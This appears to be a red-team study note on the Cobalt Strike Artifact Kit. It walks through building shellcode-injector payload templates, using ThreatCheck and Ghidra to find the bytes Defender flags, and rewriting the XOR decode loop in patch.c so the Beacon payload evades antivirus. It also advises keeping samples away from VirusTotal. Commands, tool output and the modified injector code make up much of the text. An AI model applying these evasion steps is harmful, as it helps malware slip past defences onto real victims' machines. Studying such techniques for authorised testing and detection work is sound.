←

Compiled Artifacts

CS contains a collection of payload templates and has a set of default executables that are named after their purpost and architecture

  • big: stageless templates (otherwise staged is implied)
  • svc: service binary templates

Templates are just shellcode injectors: take the Beacon shellcode and inject it into memory.

Artifact Kit

The artifact kit gives operators access to modify parts of the source code that might be signatured by anti-virus vendor

  • src-main contains main.c , svcmain.c, and dllmain.c which are the entry points for the .exe, .svc, and .dll templates
  • src-common contains multiple bypass-*.c files. These are anti-sandbox techniques
  • patch.c contains logic for performing the shellcode injection with injector.c and start_thread.c containing helper functions

Building a new template

run the included build.sh script

syntax: ./build <techniques> <allocator> <stage size> <rdll size> <include resource file> <stack spoof> <syscalls> <output directory>.

  • techniques: space separated list of bypass templates you want to build
  • allocator: sets which API is used to allocate memory for shellcode.
    • default options: HeapAlloc, VirtualAlloc, and MapViewOfFile
  • stage size: used to set the reserved space needed for the Beacon shellcode
  • RDLL size : used to validate the stage size. When not using custom loader keep to 0
  • resource file : when set to true is used to change properties of artifact such as CompanyName, FileDescription, ProductName
  • stack spoof: when set to true enables a stack spoofing technique to hide the fact that shellcode is executing from an ubacked region of memory
  • syscalls: sets the system call method: none, embedded, indirect, indirect_randomized
  • output directory: dir to save generated artifacts

Example

Build a set of artifacts using the mailslot bypass template

Note: run build.sh without any arguments to check recomendded stage sizes 

attacker@DESKTOP-FGSTPS7:/mnt/c/Tools/cobaltstrike/arsenal-kit/kits/artifact$ ./build.sh mailslot VirtualAlloc 344564 0 false false none /mnt/c/Tools/cobaltstrike/custom-artifacts
[Artifact kit] [+] You have a x86_64 mingw--I will recompile the artifacts
[Artifact kit] [*] Using allocator: VirtualAlloc
[Artifact kit] [*] Using STAGE size: 344564
[Artifact kit] [*] Using RDLL size: 0K
[Artifact kit] [*] Using system call method: none
[Artifact kit] [+] Artifact Kit: Building artifacts for technique: mailslot
[Artifact kit] [*] Recompile artifact32.dll with src-common/bypass-mailslot.c
[Artifact kit] [*] Recompile artifact32.exe with src-common/bypass-mailslot.c
[Artifact kit] [*] Recompile artifact32svc.exe with src-common/bypass-mailslot.c
[Artifact kit] [*] Recompile artifact32big.dll with src-common/bypass-mailslot.c
[Artifact kit] [*] Recompile artifact32big.exe with src-common/bypass-mailslot.c
[Artifact kit] [*] Recompile artifact32svcbig.exe with src-common/bypass-mailslot.c
[Artifact kit] [*] Recompile artifact64.x64.dll with src-common/bypass-mailslot.c
[Artifact kit] [*] Recompile artifact64.exe with src-common/bypass-mailslot.c
[Artifact kit] [*] Recompile artifact64svc.exe with src-common/bypass-mailslot.c
[Artifact kit] [*] Recompile artifact64big.x64.dll with src-common/bypass-mailslot.c
[Artifact kit] [*] Recompile artifact64big.exe with src-common/bypass-mailslot.c
[Artifact kit] [*] Recompile artifact64svcbig.exe with src-common/bypass-mailslot.c
[Artifact kit] [+] The artifacts for the bypass technique 'mailslot' are saved in '/mnt/c/Tools/cobaltstrike/custom-artifacts/mailslot'

This will output a new set of artifacts and an Agressor script called artifact.cna

PS C:\Tools\cobaltstrike\custom-artifacts\mailslot> ls

    Directory: C:\Tools\cobaltstrike\custom-artifacts\mailslot

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        19/03/2025     11:04          12045 artifact.cna
-a----        19/03/2025     11:03          38400 artifact32.dll
-a----        19/03/2025     11:03          40448 artifact32.exe
-a----        19/03/2025     11:03         409600 artifact32big.dll
-a----        19/03/2025     11:03         411648 artifact32big.exe
-a----        19/03/2025     11:03          42496 artifact32svc.exe
-a----        19/03/2025     11:03         413696 artifact32svcbig.exe
-a----        19/03/2025     11:03          41472 artifact64.exe
-a----        19/03/2025     11:03          39936 artifact64.x64.dll
-a----        19/03/2025     11:04         413184 artifact64big.exe
-a----        19/03/2025     11:03         411648 artifact64big.x64.dll
-a----        19/03/2025     11:03          43520 artifact64svc.exe
-a----        19/03/2025     11:04         415232 artifact64svcbig.exe

Use tools like ThreatCheck to check how well the template stands up against AV before you patch shellcode into them

Dont use VirusTotal as that just gives away your artifacts to AV vendors to analyze 

PS C:\Tools\cobaltstrike\custom-artifacts\mailslot> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f .\artifact64big.exe
[+] Target file size: 413184 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0x9CE
000008CE   00 00 48 83 EC 28 48 8B  05 65 33 06 00 C7 00 01   ..H.ì(H..e3..Ç..
000008DE   00 00 00 E8 AA FC FF FF  90 90 48 83 C4 28 C3 0F   ...èªüÿÿ..H.Ä(A.
000008EE   1F 00 48 83 EC 28 48 8B  05 45 33 06 00 C7 00 00   ..H.ì(H..E3..Ç..
000008FE   00 00 00 E8 8A FC FF FF  90 90 48 83 C4 28 C3 0F   ...è.üÿÿ..H.Ä(A.
0000090E   1F 00 48 83 EC 28 E8 B7  60 00 00 48 85 C0 0F 94   ..H.ì(è·`..H.A..
0000091E   C0 0F B6 C0 F7 D8 48 83  C4 28 C3 90 90 90 90 90   A.A÷OH.Ä(A.....
0000092E   90 90 48 8D 0D 09 00 00  00 E9 D4 FF FF FF 0F 1F   ..H......éOÿÿÿ..
0000093E   40 00 C3 90 90 90 90 90  90 90 90 90 90 90 90 90   @.A.............
0000094E   90 90 48 FF E1 48 63 05  D6 6A 00 00 85 C0 7E 26   ..HÿáHc.Öj...A~&
0000095E   83 3D CF 6A 00 00 00 7E  1D 48 8B 15 06 6D 06 00   .=Ij...~.H...m..
0000096E   48 89 14 01 48 8B 15 03  6D 06 00 48 63 05 B4 6A   H...H...m..Hc.'j
0000097E   00 00 48 89 14 01 C3 41  54 55 57 56 53 48 83 EC   ..H...AATUWVSH.ì
0000098E   40 41 B9 04 00 00 00 4C  63 E2 48 89 CF 4C 89 C5   @A1....LcâH.IL.Å
0000099E   31 C9 41 B8 00 30 00 00  4C 89 E2 4C 89 E6 FF 15   1ÉA,.0..L.âL.æÿ.
000009AE   22 6D 06 00 48 89 C3 31  C0 39 C6 7E 15 48 89 C2   "m..H.A1A9Æ~.H.A
000009BE   83 E2 07 8A 54 15 00 32  14 07 88 14 03 48 FF C0   .â..T..2.....HÿA
[*] Run time: 10.93s

In this example ThreatCheck identified a block of code that Defender doesn't like in artifact64big.exe, located at an offset of 0x9CE.

Its better to load the artifact into a tool like Ghidra and use its search and disassembly features.

Ghidra

  • Open ghidra and go to File > New Project.
  • Select non-shared project
  • any location works
  • add the artifact to the project with File > Import File
  • select C:\Tools\cobaltstrike\custom-artifacts\mailslot\artifact64big.exe
  • close summary when done and you will see artifact has been added
  • double click on artifact and it will open in CodeBrowser. If asked if you want to analyze it click yes
  • in the next window leave everything as default and click the Analyze button. Assembly code will appear on the left and decompilation on the right
  • to jump to the part that ThreatCheck gave us go to Navigation > Go To and enter the offset that it gave you file(0x9ce) . This will jump to an 'unknown function' FUN_140001585
  • Narrow down the search even more by looking at the last line in ThreatCheck output: 83 E2 07 8A 54 15 00 32 14 07 88 14 03 48 FF C0 and match it in Ghidra

Now we can see that this byte sequence relates to a for loop.

  • go back to the artifact source code and find where this loop exists.
  • its within a function that takes three parameters, and contains calls to VirtualProtect and CreateThread. This turns out to be the spawn function in patch.c, and based on the comments, is responsible for decoding the Beacon shellcode and copying it into memory. The loop itself is on lines 115-117.

Bypass detection and code modification

  • modify the code so that it compiles to different machine/assembly code but still performs the same functionality
  • changing variable names is not enough
  • in this example we will change the for loop into a backwards while loop:
/* keep old code increase we break something and need to roll back
for (int x = 0; x < length; x++) {
   *((char *)ptr + x) = *((char *)buffer + x) ^ key[x % 8]; // 8 byte XoR
} */

/* decode the payload with the key */
int x = length;
while ( x-- ) {
   * ( ( char * ) ptr + x ) = * ( ( char * ) buffer + x ) ^ key [ x % 8 ];
}

Always comment out the code instead of deleting it

Run the build script again and we see the template is no longer detected a malicous i

PS C:\Tools\cobaltstrike\custom-artifacts\mailslot> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f .\artifact64big.exe
[+] No threat found!
[*] Run time: 0.34s

Cobalt Strike

The final step is to hook the new template into Cobalt Strike.

  • go to Cobalt Strike > Script Manager
  • click on Load
  • select C:\Tools\cobaltstrike\custom-artifacts\mailslot\artifact.cna
  • can generate new payloads: Payloads > Windows Stageless Payload

Test new payloads on attacking machine before deploying to target to check if you accidentally broke anything